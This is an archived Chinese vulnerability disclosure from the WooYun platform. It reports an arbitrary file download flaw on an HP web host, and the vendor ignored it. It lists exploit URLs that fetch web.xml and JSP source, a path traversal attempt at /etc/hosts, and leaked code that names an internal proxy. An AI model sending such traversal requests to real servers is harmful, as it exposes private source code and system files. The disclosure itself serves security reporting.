惠普某站点任意文件下载可获取源代码

编号119344
Urlhttp://www.wooyun.org/bug.php?action=view&id=119344
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题惠普某站点任意文件下载可获取源代码
漏洞类型任意文件遍历/下载
厂商惠普
白帽子lijiejie
提交日期2015-06-09 19:48:00
公开日期2015-06-14 19:50:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank2
厂商评级
厂商评rank0
漏洞简介
惠普某站点任意文件可获取源代码
漏洞细节

任意文件下载:

http://webware.hp.com/slm/orangePortal/downloadFile?filename=/index.jsp
http://webware.hp.com/slm/orangePortal/downloadFile?filename=/WEB-INF/web.xml


通过查看url映射,可以获取部分源代码。

POC

JSP测试页:

http://webware.hp.com/testJSP


hp.com.png


<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
// do not catch anything on purpose.
try{
java.net.URL url = new java.net.URL("http://www8.hp.com/");
System.getProperties().put("http.proxyHost", "web-proxy.austin.hp.com");
System.getProperties().put("http.proxyPort", "8080");
java.io.InputStream is = url.openConnection().getInputStream();
is.close();
%>


尝试下载hosts文件,页面返回500错误,未能继续利用:

http://webware.hp.com/slm/orangePortal/downloadFile?filename=../.../../../../../../../../../../../../../../../../../../../etc/hosts

修复方案

限制可下载的文件

状态信息 2015-06-09: 细节已通知厂商并且等待厂商处理中
2015-06-14: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复None
回应信息危害等级:无影响厂商忽略忽略时间:2015-06-14 19:50
Showing 1-2 of 2 items.
评论内容评论人点赞数评论时间

链接是爬虫爬到的吗,姐姐

胡小树02015-06-15 15:47:00

真爽,上班是挖洞啊

wefgod02015-06-10 16:43:00